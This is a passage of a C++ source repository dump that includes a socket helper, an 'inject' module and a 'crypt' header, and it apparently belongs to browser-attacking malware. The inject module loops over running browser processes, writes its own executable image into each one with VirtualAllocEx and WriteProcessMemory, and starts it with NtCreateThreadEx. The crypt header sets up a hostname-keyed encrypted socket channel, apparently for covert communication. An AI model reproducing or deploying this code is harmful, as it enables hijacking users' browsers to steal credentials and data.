recv_buf_size); 335 | 336 | INT select_status = select(rx_socket, &read_flags, NULL, NULL, &timed); 337 | if (!select_status) { 338 | if (select_status == SOCKET_ERROR) { 339 | mem::free(rx_buffer); 340 | return ER_WAIT_FAIL; 341 | } else if (read_flags.fd_count == 0) { 342 | if (rx_buffer_length == str::ASCII_CHAR) { 343 | mem::free(rx_buffer); 344 | return ER_WAIT_TIMEOUT; 345 | } 346 | break; 347 | } 348 | break; 349 | } 350 | 351 | UCHAR byte = 0; 352 | UINT rxd = recv(rx_socket, (char *)&byte, sizeof(UCHAR), 0); 353 | if (rxd != sizeof(UCHAR)) break; 354 | 355 | rx_buffer[rx_buffer_length - 1] = byte; 356 | PUCHAR new_buffer = (PUCHAR)mem::malloc(rx_buffer_length + rxd); 357 | mem::copy(new_buffer, rx_buffer, rx_buffer_length); 358 | mem::free(rx_buffer); 359 | rx_buffer = new_buffer; 360 | rx_buffer_length++; 361 | } 362 | if (rx_buffer_length == 1) { 363 | mem::free(rx_buffer); 364 | return ER_WAIT_NOTHING_RECEIVED; 365 | } 366 | 367 | *buffer = rx_buffer; 368 | *buffer_size = rx_buffer_length; 369 | 370 | return ER_WAIT_OK;*/ 371 | } 372 | 373 | HANDLE socket_tools::start_thread(__in const LPTHREAD_START_ROUTINE oep, __in const LPVOID parameter) 374 | { 375 | if (oep == NULL) return INVALID_HANDLE_VALUE; 376 | 377 | HANDLE thread_handle = cCreateThread( NULL, 378 | 0, 379 | oep, 380 | parameter, 381 | 0, 382 | NULL); 383 | return thread_handle; 384 | } 385 | -------------------------------------------------------------------------------- /inject/inject.cpp: -------------------------------------------------------------------------------- 1 | #include 2 | 3 | #include "inject.h" 4 | 5 | #include "api.h" 6 | #include "common/mem.h" 7 | #include "common/str.h" 8 | 9 | #include "debug/error.h" 10 | #include "debug/debug.h" 11 | 12 | #undef UNICODE 13 | //static inject::PBROWSER_ATTACK_INFO attack_info[AVAILABLE_BROWSERS + 1]; 14 | 15 | VOID inject::inject_to_browsers(VOID) 16 | { 17 | ERROR_CODE status; 18 | 19 | BROWSER_ATTACK_LIST *attack_list; 20 | LPVOID local_virtual_base; 21 | UINT i, c; 22 | 23 | init(&attack_list); 24 | 25 | local_virtual_base = get_module_virtual_base(); 26 | 27 | while (TRUE) { 28 | 29 | // Get all PIDs 30 | for (i = 0; i < AVAILABLE_BROWSERS; i++) { 31 | cSleep(100); 32 | mem::zeromem(attack_list->attack_list[i]->pids, sizeof(DWORD) * INJECT_MAX_PIDS); 33 | status = find_pids(attack_list->attack_list[i]->name, attack_list->attack_list[i]->pids); 34 | ERROR_IF_NULL(status, error::ER_GENERAL_FAILURE, error::default_halt_code); 35 | } 36 | 37 | // Inject into all PIDs 38 | for (i = 0; i < AVAILABLE_BROWSERS; i++) { 39 | c = 0; 40 | while (attack_list->attack_list[i]->pids[c] != 0) { 41 | cSleep(100); 42 | 43 | status = inject_dll(attack_list->attack_list[i]->pids[c], local_virtual_base); 44 | if (status == error::ER_OK) { 45 | #ifdef DEBUG_OUT 46 | DBGOUT("Injected into %d", attack_list->attack_list[i]->pids[c]); 47 | #endif 48 | 49 | } else { 50 | #ifdef DEBUG_OUT 51 | //DBGOUT("Failed to inject into %d", attack_list->attack_list[i]->pids[c]); 52 | #endif 53 | } 54 | c++; 55 | } 56 | } 57 | } 58 | } 59 | 60 | VOID inject::init(inject::PBROWSER_ATTACK_LIST *attack_list) 61 | { 62 | 63 | *attack_list = (PBROWSER_ATTACK_LIST)mem::malloc(sizeof(BROWSER_ATTACK_LIST)); 64 | 65 | for (UINT i = 0; i < AVAILABLE_BROWSERS; i++) { 66 | (*attack_list)->attack_list[i] = (PBROWSER_ATTACK_INFO)mem::malloc(sizeof(BROWSER_ATTACK_INFO)); 67 | (*attack_list)->attack_list[i]->name = (LPSTR)mem::malloc(str::lenA(inject::browser_list[i]) + 1); 68 | str::strcpyA((*attack_list)->attack_list[i]->name, inject::browser_list[i], str::lenA(inject::browser_list[i])); 69 | } 70 | 71 | return; 72 | } 73 | 74 | ERROR_CODE inject::find_pids( __in LPCSTR process_name, 75 | __out DWORD pid_array[INJECT_MAX_PIDS]) 76 | { 77 | PROCESSENTRY32 process_info; 78 | HANDLE process_snapshot; 79 | DWORD pid_parent_array[INJECT_MAX_PIDS]; 80 | DWORD explorer_pid; 81 | UINT pid_count = 0; 82 | 83 | mem::zeromem(pid_parent_array, sizeof(pid_parent_array)); 84 | 85 | mem::zeromem((void *)&process_info, sizeof(PROCESSENTRY32)); 86 | process_info.dwSize = sizeof(PROCESSENTRY32); 87 | 88 | #ifdef DISABLE_OPERA_INFECTION 89 | if (!str::compareA(process_name, "opera.exe", str::lenA("opera.exe"))) { 90 | //DBGOUT("Passing opera process"); 91 | return TRUE; 92 | } 93 | #endif 94 | 95 | // If process_name is NULL, we return every PID on the system 96 | if (process_name == NULL) { 97 | process_snapshot = cCreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, NULL); 98 | if ( process_snapshot == INVALID_HANDLE_VALUE ) { 99 | return FALSE; 100 | } 101 | 102 | if (cProcess32First(process_snapshot, &process_info) == FALSE) { 103 | return FALSE; 104 | } 105 | 106 | while (cProcess32Next(process_snapshot, &process_info)) { 107 | pid_array[pid_count] = process_info.th32ProcessID; 108 | if (pid_array[pid_count] == 0) { 109 | continue; 110 | } 111 | 112 | ZeroMemory((void *)&process_info, sizeof(PROCESSENTRY32)); 113 | process_info.dwSize = sizeof(PROCESSENTRY32); 114 | 115 | pid_count++; 116 | } 117 | return TRUE; 118 | } 119 | 120 | process_snapshot = cCreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, NULL); 121 | if ( process_snapshot == INVALID_HANDLE_VALUE ) { 122 | return FALSE; 123 | } 124 | 125 | if (cProcess32First(process_snapshot, &process_info) == FALSE) { 126 | return FALSE; 127 | } 128 | 129 | //ZeroMemory(process_char, sizeof(process_char)); 130 | //WideCharToMultiByte(CP_ACP, 0, process_info.szExeFile, -1, (LPSTR)process_char, sizeof(process_char), NULL, NULL); 131 | 132 | //WideCharToMultiByte(CP_ACP, 0, wstr.c_str(), -1, szTo, (int)wstr.length(), NULL, NULL); 133 | //wcstombs(process_char, (wchar_t *)process_info.szExeFile, sizeof(process_char)); 134 | 135 | if (str::compareA(process_name, process_info.szExeFile, str::lenA(process_name) - 1) == 0) { 136 | pid_array[0] = process_info.th32ProcessID; 137 | pid_parent_array[0] = process_info.th32ParentProcessID; 138 | } 139 | 140 | while (TRUE) { 141 | if (cProcess32Next(process_snapshot, &process_info) == FALSE) break; 142 | 143 | //ZeroMemory(process_char, sizeof(process_char)); 144 | // WideCharToMultiByte(CP_ACP, 0, process_info.szExeFile, -1, (LPSTR)process_char, sizeof(process_char), NULL, NULL); 145 | 146 | if (!str::compareA(process_info.szExeFile, "explorer.exe", str::lenA("explorer.exe"))) { 147 | explorer_pid = process_info.th32ProcessID; 148 | } 149 | 150 | if (str::compareA((LPCSTR)process_name, process_info.szExeFile, str::lenA(process_name) - 1) == 0) { 151 | pid_array[pid_count] = process_info.th32ProcessID; 152 | pid_parent_array[pid_count] = process_info.th32ParentProcessID; 153 | pid_count++; 154 | continue; 155 | } 156 | } 157 | 158 | if (!str::compareA(process_name, "chrome.exe", str::lenA("chrome.exe"))) { 159 | filter_parents_pids(pid_array, pid_parent_array, explorer_pid); 160 | } 161 | 162 | cCloseHandle(process_snapshot); 163 | return TRUE; 164 | 165 | } 166 | 167 | // This is only for chrome, we want to list only the parent process 168 | static VOID inject::filter_parents_pids(DWORD pid_array[INJECT_MAX_PIDS], DWORD pid_parent_array[INJECT_MAX_PIDS], DWORD explorer_pid) 169 | { 170 | UINT i; 171 | DWORD tmp; 172 | 173 | i = 0; 174 | while (pid_parent_array[i] != explorer_pid) { 175 | i++; 176 | if (pid_parent_array[i] == 0) { 177 | break; 178 | } 179 | } 180 | 181 | tmp = pid_array[i]; 182 | mem::zeromem(pid_array, INJECT_MAX_PIDS); 183 | 184 | pid_array[0] = tmp; 185 | 186 | return; 187 | } 188 | 189 | static ERROR_CODE inject::check_pe(LPCVOID virtual_image) 190 | { 191 | PIMAGE_DOS_HEADER dos_header; 192 | PIMAGE_NT_HEADERS nt_headers; 193 | 194 | dos_header = (PIMAGE_DOS_HEADER)virtual_image; 195 | if (dos_header->e_magic != 'ZM') { 196 | return error::ER_HEADER_ERROR; 197 | } 198 | 199 | nt_headers = (PIMAGE_NT_HEADERS)((DWORD_PTR)virtual_image + dos_header->e_lfanew); 200 | if (nt_headers->Signature != 'EP') { 201 | return error::ER_HEADER_ERROR; 202 | } 203 | 204 | return error::ER_OK; 205 | } 206 | 207 | static UINT inject::get_virtual_size(LPCVOID virtual_image) 208 | { 209 | ERROR_CODE status; 210 | 211 | PIMAGE_DOS_HEADER dos_header; 212 | PIMAGE_NT_HEADERS nt_headers; 213 | 214 | status = check_pe(virtual_image); 215 | ERROR_IF_NOT_OK(status, error::default_halt_code); 216 | 217 | dos_header = (PIMAGE_DOS_HEADER)virtual_image; 218 | nt_headers = (PIMAGE_NT_HEADERS)((DWORD_PTR)virtual_image + dos_header->e_lfanew); 219 | 220 | return nt_headers->OptionalHeader.SizeOfImage; 221 | } 222 | 223 | static DWORD inject::get_virtual_base(LPCVOID virtual_image) 224 | { 225 | ERROR_CODE status; 226 | 227 | PIMAGE_DOS_HEADER dos_header; 228 | PIMAGE_NT_HEADERS nt_headers; 229 | 230 | status = (ERROR_CODE)check_pe(virtual_image); 231 | ERROR_IF_NOT_OK(status, error::default_halt_code); 232 | 233 | dos_header = (PIMAGE_DOS_HEADER)virtual_image; 234 | nt_headers = (PIMAGE_NT_HEADERS)((DWORD_PTR)virtual_image + dos_header->e_lfanew); 235 | 236 | return nt_headers->OptionalHeader.ImageBase; 237 | } 238 | 239 | LPVOID inject::get_module_virtual_base(VOID) 240 | { 241 | DWORD delta_value; 242 | LPVOID ptr; 243 | 244 | __asm{ 245 | nop 246 | call delta 247 | delta: 248 | pop eax 249 | mov delta_value, eax 250 | } 251 | 252 | ptr = (LPVOID)(delta_value & 0xfffff000); 253 | while (*(PWORD)ptr != 'ZM') { 254 | ptr = (LPVOID)((DWORD_PTR)ptr - 0x1000); 255 | } 256 | 257 | return ptr; 258 | } 259 | 260 | static LPTHREAD_START_ROUTINE inject::get_virtual_oep(LPCVOID virtual_image) 261 | { 262 | ERROR_CODE status; 263 | 264 | PIMAGE_DOS_HEADER dos_header; 265 | PIMAGE_NT_HEADERS nt_headers; 266 | 267 | status = (ERROR_CODE)check_pe(virtual_image); 268 | ERROR_IF_NOT_OK(status, error::default_halt_code); 269 | 270 | dos_header = (PIMAGE_DOS_HEADER)virtual_image; 271 | nt_headers = (PIMAGE_NT_HEADERS)((DWORD_PTR)virtual_image + dos_header->e_lfanew); 272 | 273 | return (LPTHREAD_START_ROUTINE)(nt_headers->OptionalHeader.AddressOfEntryPoint + get_virtual_base(virtual_image)); 274 | 275 | } 276 | 277 | ERROR_CODE inject::inject_dll(DWORD pid, LPVOID virtual_image) 278 | { 279 | ERROR_CODE status; 280 | 281 | HANDLE process; 282 | DWORD remote_base; 283 | UINT remote_virtual_size; 284 | INT bytes_written; 285 | 286 | LPTHREAD_START_ROUTINE oep; 287 | 288 | process = cOpenProcess( PROCESS_CREATE_THREAD | 289 | PROCESS_QUERY_INFORMATION | 290 | PROCESS_SUSPEND_RESUME | 291 | PROCESS_VM_WRITE | 292 | PROCESS_VM_OPERATION, 293 | FALSE, pid); 294 | if (process == INVALID_HANDLE_VALUE) { 295 | return error::ER_INJECT_FAILURE; 296 | } 297 | 298 | remote_virtual_size = get_virtual_size(virtual_image); 299 | if (remote_virtual_size == 0) { 300 | cCloseHandle(process); 301 | return error::ER_INJECT_FAILURE; 302 | } 303 | remote_base = get_virtual_base(virtual_image); 304 | if (remote_base == 0) { 305 | cCloseHandle(process); 306 | return error::ER_INJECT_FAILURE; 307 | } 308 | 309 | remote_base = (DWORD)cVirtualAllocEx(process, (LPVOID)get_virtual_base(virtual_image), get_virtual_size(virtual_image), 310 | MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE); 311 | if (remote_base != get_virtual_base(virtual_image)) { 312 | cCloseHandle(process); 313 | return error::ER_INJECT_FAILURE; 314 | } 315 | 316 | status = (ERROR_CODE)cWriteProcessMemory(process, (LPVOID)remote_base, get_module_virtual_base(), 317 | remote_virtual_size, (PUINT)&bytes_written); 318 | if (!status || (bytes_written != remote_virtual_size)) { 319 | cCloseHandle(process); 320 | return error::ER_INJECT_FAILURE; 321 | } 322 | 323 | oep = get_virtual_oep(virtual_image); 324 | if (oep == 0) { 325 | cCloseHandle(process); 326 | return error::ER_INJECT_FAILURE; 327 | } 328 | 329 | 330 | status = (ERROR_CODE)create_dll_thread(process, oep); 331 | if (!status) { 332 | cCloseHandle(process); 333 | return error::ER_INJECT_FAILURE; 334 | } 335 | /* 336 | remote_thread = cCreateRemoteThread(process, 337 | NULL, 338 | 0, 339 | oep, 340 | NULL, 341 | 0, 342 | NULL); 343 | if (remote_thread == INVALID_HANDLE_VALUE) { 344 | return error::ER_INJECT_FAILURE; 345 | }*/ 346 | 347 | cCloseHandle(process); 348 | return error::ER_OK; 349 | } 350 | 351 | static NTSTATUS inject::create_dll_thread(HANDLE process, LPTHREAD_START_ROUTINE oep) 352 | { 353 | NTSTATUS ntstatus; 354 | LNtCreateThreadEx f_CreateThreadEx; 355 | NTCREATETHREADEXBUFFER ntcreatethreadbuffer; 356 | HMODULE ntdll; 357 | HANDLE remote_thread; 358 | PVOID buffer1, buffer2; 359 | 360 | f_CreateThreadEx = NULL; 361 | ntdll = cLoadLibraryA("ntdll.dll"); 362 | if (ntdll == 0) { 363 | return FALSE; 364 | } 365 | f_CreateThreadEx = (LNtCreateThreadEx)cGetProcAddress(ntdll, "NtCreateThreadEx"); 366 | if (f_CreateThreadEx == NULL) { 367 | return FALSE; 368 | } 369 | 370 | mem::zeromem(&ntcreatethreadbuffer, sizeof(NTCREATETHREADEXBUFFER)); 371 | buffer1 = (PVOID)mem::malloc(512); 372 | buffer2 = (PVOID)mem::malloc(512); 373 | 374 | ntcreatethreadbuffer.Size = sizeof(NTCREATETHREADEXBUFFER); 375 | ntcreatethreadbuffer.Unknown1 = 0x10003; 376 | ntcreatethreadbuffer.Unknown2 = 0x8; // 377 | ntcreatethreadbuffer.Unknown3 = (PDWORD)buffer1; 378 | ntcreatethreadbuffer.Unknown4 = 0; 379 | ntcreatethreadbuffer.Unknown5 = 0x10004; 380 | ntcreatethreadbuffer.Unknown6 = 4; 381 | ntcreatethreadbuffer.Unknown7 = (PDWORD)buffer2; 382 | ntcreatethreadbuffer.Unknown8 = 0; 383 | 384 | ntstatus = f_CreateThreadEx( &remote_thread, 385 | 0x1FFFFF, 386 | NULL, 387 | process, 388 | (LPTHREAD_START_ROUTINE)oep, 389 | NULL, 390 | FALSE, 391 | NULL, 392 | NULL, 393 | NULL, 394 | (LPVOID)&ntcreatethreadbuffer); 395 | 396 | mem::free(buffer1); 397 | mem::free(buffer2); 398 | return ntstatus; 399 | } 400 | -------------------------------------------------------------------------------- /crypt/crypt.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | #ifndef _WINDOWS_ 3 | #include 4 | #endif 5 | 6 | #include 7 | 8 | #ifndef CONFIG_OK 9 | #include "../config.h" 10 | #endif 11 | 12 | #ifndef DISABLE_LIBRARY_INFO 13 | #ifdef CONFIG_COMPILE64 14 | #pragma message (OUTPUT_PRIMARY "crypt: Compiling 64-bit") 15 | #else 16 | #pragma message (OUTPUT_PRIMARY "crypt: Compiling 32-bit.") 17 | #endif 18 | #endif 19 | 20 | #include "common/mem.h" 21 | #include "common/str.h" 22 | //#include "net/socket.h" 23 | 24 | #pragma once 25 | 26 | // Preprocessor Config 27 | #define ENCRYPTION_CHANNEL_SEED 0x44a4d3f5 28 | 29 | // Preprocessor Constants 30 | #define MD5_LENGTH 16 31 | 32 | // Preprocessor function macros 33 | #define CHECK_DELETE(x) if (x != NULL) delete x 34 | 35 | // Timings 36 | #define CRYPT_CHANNEL_TIMEOUT CONFIG_CRYPT_TIMEOUT 37 | 38 | namespace crypt 39 | { 40 | // Generate random number 41 | BYTE generate_random_byte_range(UINT high); 42 | 43 | // Murmur hash, 32bit 44 | DWORD murmur_hash(LPCSTR key, UINT length, DWORD seed); 45 | 46 | // MD5 47 | class md5; 48 | 49 | typedef BYTE MD5_ELEMENT, *PMD5_ELEMENT; 50 | static const UINT md5_length = MD5_LENGTH; 51 | typedef std::vector ARRAY; 52 | std::vector *generate_md5(__in const LPVOID buffer, __in const UINT size, 53 | __outopt HCRYPTHASH *hash_out, __outopt HCRYPTKEY *key_out, 54 | __outopt HCRYPTPROV *provider_out); 55 | 56 | // HCRYPTPROV object is shared by all instances of md5. 57 | // Furthermore, it is initialized by md5_init() 58 | extern HCRYPTPROV crypt_provider; 59 | 60 | class md5 { 61 | private: 62 | str_string *string; 63 | 64 | crypt::ARRAY *md5_elements; 65 | 66 | LPVOID raw_buffer; 67 | UINT raw_buffer_size; 68 | 69 | StrString RawMD5String; 70 | 71 | bool state_ok; 72 | 73 | HCRYPTPROV provider; 74 | HCRYPTHASH hash; 75 | HCRYPTKEY key; 76 | public: 77 | /* 78 | md5(crypt::ARRAY *md5_array) : 79 | md5_elements(new crypt::ARRAY()), 80 | string(NULL), 81 | provider(NULL), key(NULL), hash(NULL), 82 | state_ok(true) 83 | { 84 | for (crypt::ARRAY::const_iterator i = md5_array->begin(); 85 | i != md5_array->end(); 86 | i++) 87 | { 88 | this->md5_elements->push_back(*i); 89 | } 90 | } 91 | */ 92 | 93 | md5(str_string *md5_string) : 94 | string(md5_string), 95 | provider(NULL), key(NULL), hash(NULL), 96 | state_ok(false) 97 | { 98 | //md5_elements.reserve(crypt::md5_length); 99 | md5_elements = string->convert_to_byte_vector(string->to_lpstr()); 100 | if (md5_elements == NULL || md5_elements->size() != md5_length) { 101 | return; 102 | } 103 | 104 | state_ok = true; 105 | } 106 | 107 | md5(std::vector *hash_array) : 108 | string(NULL), 109 | md5_elements(new crypt::ARRAY()), 110 | provider(NULL), key(NULL), hash(NULL), 111 | state_ok(false) 112 | { 113 | if (hash_array->size() != md5_length) { 114 | return; 115 | } 116 | 117 | for (crypt::ARRAY::const_iterator i = hash_array->begin(); 118 | i != hash_array->end(); 119 | i++) 120 | { 121 | this->md5_elements->push_back(*i); 122 | } 123 | 124 | state_ok = true; 125 | } 126 | 127 | md5(__in const BYTE *md5_sum, __in const UINT array_size) : 128 | string(NULL), 129 | md5_elements(new crypt::ARRAY()), 130 | provider(NULL), key(NULL), hash(NULL), 131 | state_ok(false) 132 | { 133 | for (UINT i = 0; i < md5_length; i++) { 134 | md5_elements->push_back(md5_sum[i]); 135 | } 136 | 137 | this->state_ok = true; 138 | } 139 | 140 | md5(__in const LPVOID buffer, __in const UINT buffer_size) : 141 | string(NULL), 142 | md5_elements(NULL), 143 | raw_buffer(buffer), 144 | raw_buffer_size(buffer_size) 145 | { 146 | md5_elements = crypt::generate_md5(buffer, buffer_size, &this->hash, 147 | &this->key, &this->provider); 148 | if (this->md5_elements == NULL) { 149 | return; 150 | } 151 | 152 | state_ok = true; 153 | } 154 | 155 | md5(__in const mem::buffer2 *raw_data) : 156 | string(NULL), 157 | md5_elements(NULL), 158 | raw_buffer(NULL), 159 | raw_buffer_size(0) 160 | { 161 | raw_data->get_raw_data(&this->raw_buffer, &this->raw_buffer_size); 162 | this->md5_elements = crypt::generate_md5(this->raw_buffer, this->raw_buffer_size, 163 | &this->hash, &this->key, &this->provider); 164 | if (this->md5_elements == NULL) { 165 | return; 166 | } 167 | 168 | state_ok = true; 169 | } 170 | 171 | md5(__in const mem::buffer2& raw_data) : 172 | string(NULL), 173 | md5_elements(NULL), 174 | raw_buffer(NULL), 175 | raw_buffer_size(0) 176 | { 177 | raw_data.get_raw_data(&this->raw_buffer, &this->raw_buffer_size); 178 | this->md5_elements = crypt::generate_md5(this->raw_buffer, this->raw_buffer_size, 179 | &this->hash, &this->key, &this->provider); 180 | if (this->md5_elements == NULL) { 181 | return; 182 | } 183 | 184 | state_ok = true; 185 | } 186 | 187 | md5(__in const crypt::md5& key) : 188 | string(NULL), 189 | md5_elements(NULL), 190 | raw_buffer(mem::malloc(md5_length)), 191 | raw_buffer_size(md5_length) 192 | { 193 | mem::copy(this->raw_buffer, key.get_raw_buffer(), raw_buffer_size); 194 | this->md5_elements = crypt::generate_md5(this->raw_buffer, this->raw_buffer_size, 195 | &this->hash, &this->key, &this->provider); 196 | if (this->md5_elements == NULL) { 197 | return; 198 | } 199 | 200 | state_ok = true; 201 | } 202 | 203 | ~md5(VOID) 204 | { 205 | CHECK_DELETE(string); 206 | CHECK_DELETE(md5_elements); 207 | 208 | if (this->hash != 0) { 209 | CryptDestroyHash(this->hash); 210 | this->hash = 0; 211 | } 212 | 213 | if (this->key != 0) { 214 | CryptDestroyKey(this->key); 215 | this->key = 0; 216 | } 217 | 218 | /* 219 | if (this->provider != 0) { 220 | CryptReleaseContext(this->provider, 0); 221 | this->provider = 0; 222 | } 223 | */ 224 | } 225 | 226 | // Generates an md5 string 227 | private: 228 | void generate_md5_string(void); 229 | 230 | public: 231 | //Returns an md5 string 232 | const str_string& get_md5_string(void); 233 | 234 | LPBYTE get_raw_buffer(void) const 235 | { 236 | return (LPBYTE)this->raw_buffer; 237 | } 238 | 239 | bool is_ok(void) const 240 | { 241 | return this->state_ok; 242 | } 243 | 244 | crypt::ARRAY *md5::get_array(void) const 245 | { 246 | return this->md5_elements; 247 | } 248 | 249 | UINT get_size_of_key(void) const 250 | { 251 | return md5_length; 252 | } 253 | 254 | // Comparison operator 255 | bool md5::operator==(const crypt::md5 &other) const 256 | { 257 | for (UINT i = 0; i < md5_elements->size(); i++) { 258 | if (this->md5_elements->at(i) != other.get_array()->at(i)) { 259 | return false; 260 | } 261 | } 262 | 263 | return true; 264 | } 265 | 266 | HCRYPTKEY get_crypt_key(void) const 267 | { 268 | return this->key; 269 | } 270 | 271 | HCRYPTHASH get_crypt_hash(void) const 272 | { 273 | return this->hash; 274 | } 275 | 276 | /* 277 | private: bool initialize_cryptographic_provider(void) const 278 | { 279 | if (crypt::crypt_provider == 0) { 280 | BOOL aquire_status = CryptAcquireContextA( 281 | &crypt::crypt_provider, 282 | NULL, 283 | NULL, 284 | PROV_RSA_FULL, 285 | CRYPT_VERIFYCONTEXT); 286 | if (aquire_status == false) { 287 | return false; 288 | } 289 | } 290 | } 291 | */ 292 | 293 | }; 294 | 295 | // Generate a random buffer 296 | typedef DWORD GEN_ERROR; 297 | enum { 298 | ER_OK, 299 | ER_FAIL 300 | }; 301 | GEN_ERROR generate_random_buffer(__inout LPVOID *out, __in const UINT size); 302 | class rand_buffer { 303 | private: 304 | UINT buffer_size; 305 | PBYTE buffer; 306 | 307 | Ptr> ByteArray; 308 | 309 | public: 310 | rand_buffer(__in const UINT size) : 311 | buffer_size(size), 312 | ByteArray(new std::vector), 313 | buffer(NULL) 314 | { 315 | GEN_ERROR gen_status = generate_random_buffer((LPVOID *)&buffer, size); 316 | if (gen_status != ER_OK) return; 317 | 318 | for (UINT i = 0; i < size; i++) ByteArray->push_back(*(PBYTE)&buffer[i]); 319 | mem::free_and_null((LPVOID *)&buffer); 320 | } 321 | 322 | ~rand_buffer() 323 | { 324 | 325 | } 326 | 327 | std::vector *rand_buffer::get_array(VOID) const 328 | { 329 | 330 | return this->ByteArray.get_value(); 331 | } 332 | 333 | /* 334 | PBYTE rand_buffer::get_buffer(VOID) const 335 | { 336 | return this->buffer; 337 | }*/ 338 | 339 | BYTE rand_buffer::get_byte(__in const UINT position) const 340 | { 341 | if (position > buffer_size) return 0x00; 342 | 343 | return ByteArray->at(position); 344 | } 345 | 346 | UINT rand_buffer::get_size(VOID) const 347 | { 348 | return this->buffer_size; 349 | } 350 | 351 | // Operators 352 | /* 353 | bool rand_buffer::operator==(__in rand_buffer& other) const 354 | { 355 | if (this->buffer_size != other.get_size()) return false; 356 | 357 | for (UINT i = 0; i < this->buffer_size; i++) { 358 | if (*(PBYTE)&this->buffer[i] != other.get_byte(i)) return false; 359 | } 360 | 361 | return true; 362 | }*/ 363 | }; 364 | 365 | // Encrypt a mem::buffer2 using xor-shift. Does not xor NULL bytes. Uses MD5 as the xor key 366 | typedef DWORD ENCRYPT_MODE; 367 | enum { 368 | ENCRYPT_MODE_ENCRYPT, 369 | ENCRYPT_MODE_DECRYPT 370 | }; 371 | class encrypt_xor_shift_md5; 372 | mem::buffer2 *encrypt_xor_shift(__in crypt::md5 const& key, __in mem::buffer2 const& raw_data, 373 | __in const ENCRYPT_MODE mode); 374 | static const UINT crypt_channel_timeout = CRYPT_CHANNEL_TIMEOUT; 375 | 376 | class encrypt_xor_shift_md5 { 377 | private: 378 | Buffer2 EncryptedBuffer; 379 | 380 | bool is_ok; 381 | 382 | public: 383 | encrypt_xor_shift_md5(__in crypt::md5 const& key, __in mem::buffer2 const& data, 384 | __in const ENCRYPT_MODE mode) : 385 | 386 | EncryptedBuffer(crypt::encrypt_xor_shift(key, data, mode)), 387 | is_ok(false) 388 | { 389 | if (EncryptedBuffer->get_raw_size() == 0) { 390 | return; 391 | } 392 | 393 | this->is_ok = true; 394 | } 395 | 396 | ~encrypt_xor_shift_md5(VOID) 397 | { 398 | 399 | } 400 | 401 | mem::buffer2 *get_encrypted_buffer(VOID) 402 | { 403 | if (this->is_ok == false) { 404 | return NULL; 405 | } 406 | 407 | return this->EncryptedBuffer.get_value(); 408 | } 409 | 410 | bool get_is_ok(VOID) const 411 | { 412 | return this->is_ok; 413 | } 414 | }; 415 | 416 | // Encryption channel to use with sockets 417 | class channel; 418 | static const DWORD channel_seed = ENCRYPTION_CHANNEL_SEED; 419 | static const CHAR channel_response_ok[] = { 'O', 'K' }; 420 | 421 | class channel { 422 | protected: 423 | Ptr Key; 424 | 425 | typedef struct key_request { 426 | UINT hostname_len; 427 | CHAR hostname[MAX_COMPUTERNAME_LENGTH + str::ASCII_CHAR]; 428 | 429 | key_request(void) 430 | { 431 | hostname_len = 0; 432 | mem::zeromem(hostname, MAX_COMPUTERNAME_LENGTH + str::ASCII_CHAR); 433 | } 434 | } KEY_REQUEST, *PKEY_REQUEST; 435 | PKEY_REQUEST request; 436 | 437 | public: 438 | virtual bool process_initial(__inout SOCKET *current_socket) = 0; 439 | 440 | virtual ~channel(void) = 0; 441 | 442 | // Allocates an md5 structure used for a key 443 | md5 *get_key(__in const str_string& host_name, __in const DWORD seed); 444 | 445 | // Called by socket_data; transparent to caller 446 | public: mem::buffer2 *decrypt(__in const mem::buffer2& encrypted_buffer) const; 447 | public: mem::buffer2 *encrypt(__in const mem::buffer2& decrypted_buffer) const; 448 | 449 | protected: 450 | // Creates a decrypted buffer 451 | mem::buffer2 *get_decrypted_buffer(__in const mem::buffer2& encrypted_buffer, 452 | __in const HCRYPTKEY key) const; 453 | 454 | // Creates an encrypted buffer 455 | mem::buffer2 *get_encrypted_buffer( __in const mem::buffer2& decrypted_buffer, 456 | __in const HCRYPTKEY key) const; 457 | }; 458 | 459 | class channel_client : public channel { 460 | private: 461 | StrString Hostname; 462 | 463 | str_string *get_host_name(void) const; 464 | 465 | SOCKET *client_socket; 466 | 467 | bool connected_to_server; 468 | 469 | public: 470 | channel_client::channel_client(__in SOCKET *current_connection); 471 | 472 | inline ~channel_client(void) 473 | { 474 | 475 | } 476 | 477 | // Sends the request 478 | virtual bool process_initial(__inout SOCKET *current_socket); 479 | }; 480 | 481 | class channel_server : public channel { 482 | StrString RemoteHostname; 483 | 484 | SOCKET *server_socket; 485 | 486 | bool connected_to_client; 487 | public: 488 | channel_server::channel_server(__in SOCKET *current_connection); 489 | 490 | inline ~channel_server(void) 491 | { 492 | 493 | } 494 | 495 | // Receives the requets 496 | virtual bool process_initial(__inout SOCKET *current_socket); 497 | }; 498 | 499 | // Standard encryption/decryption mechanism using md5 as key 500 | class encryption_buffer; 501 | 502 | class encryption_buffer { 503 | 504 | private: 505 | 506 | Ptr Key; 507 | Buffer2 EncryptedData, DecryptedData; 508 | 509 | bool is_encrypted; 510 | 511 | public: 512 | encryption_buffer::encryption_buffer(__in const crypt::md5& key, 513 | __in const mem::buffer2& data, 514 | __in const bool is_encrypted); 515 | 516 | bool encrypt(void); 517 | bool decrypt(void); 518 | 519 | mem::buffer2 *get_encrypted_data(void) const 520 | { 521 | return this->EncryptedData.get_value(); 522 | } 523 | 524 | mem::buffer2 *get_decrypted_data(void) const 525 | { 526 | return this->DecryptedData.get_value(); 527 | } 528 | 529 | const crypt::md5 *get_key(void) const 530 | { 531 | return this->Key.get_value(); 532 | } 533 | 534 | const mem::buffer2 *get_decompressed_buffer(void) const 535 | { 536 | return this->DecryptedData.get_value(); 537 | } 538 | 539 | }; 540 | }; --------------------------------------------------------------------------------